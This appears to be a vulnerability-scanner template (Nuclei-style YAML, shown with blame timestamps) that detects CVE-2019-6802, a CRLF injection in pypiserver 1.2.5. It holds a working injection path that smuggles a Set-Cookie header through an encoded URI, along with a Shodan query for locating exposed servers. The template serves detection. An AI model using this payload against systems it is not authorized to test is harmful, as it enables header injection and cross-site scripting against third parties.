2022-12-05 23:32:40 +00:00
|
|
|
id: CVE-2019-6802
|
|
|
|
|
|
|
|
info:
|
2022-12-06 09:22:05 +00:00
|
|
|
name: Pypiserver 1.2.5 - CRLF Injection
|
2022-12-05 23:32:40 +00:00
|
|
|
author: 0x_Akoko
|
|
|
|
severity: medium
|
2022-12-06 09:22:05 +00:00
|
|
|
description: |
|
|
|
|
CRLF Injection in pypiserver 1.2.5 and below allows attackers to set arbitrary HTTP headers and possibly conduct XSS attacks via a %0d%0a in a URI
|
2022-12-05 23:32:40 +00:00
|
|
|
reference:
|
|
|
|
- https://vuldb.com/?id.130257
|
2022-12-06 09:22:05 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-6802
|
2022-12-08 09:40:41 +00:00
|
|
|
- https://github.com/pypiserver/pypiserver/issues/237
|
2022-12-05 23:32:40 +00:00
|
|
|
classification:
|
2022-12-08 09:40:41 +00:00
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
2022-12-05 23:32:40 +00:00
|
|
|
cve-id: CVE-2019-6802
|
2022-12-08 09:40:41 +00:00
|
|
|
cwe-id: CWE-79,CWE-74
|
2022-12-06 09:22:05 +00:00
|
|
|
metadata:
|
|
|
|
shodan-query: html:"pypiserver"
|
2022-12-08 09:40:41 +00:00
|
|
|
verified: "true"
|
2022-12-05 23:32:40 +00:00
|
|
|
tags: cve,cve2019,crlf,generic,pypiserver
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"
|
2022-12-06 06:25:31 +00:00
|
|
|
|
2022-12-05 23:32:40 +00:00
|
|
|
matchers:
|
2022-12-06 06:25:31 +00:00
|
|
|
- type: word
|
2022-12-05 23:32:40 +00:00
|
|
|
part: header
|
2022-12-06 06:25:31 +00:00
|
|
|
words:
|
|
|
|
- 'Set-Cookie: crlfinjection=1;'
|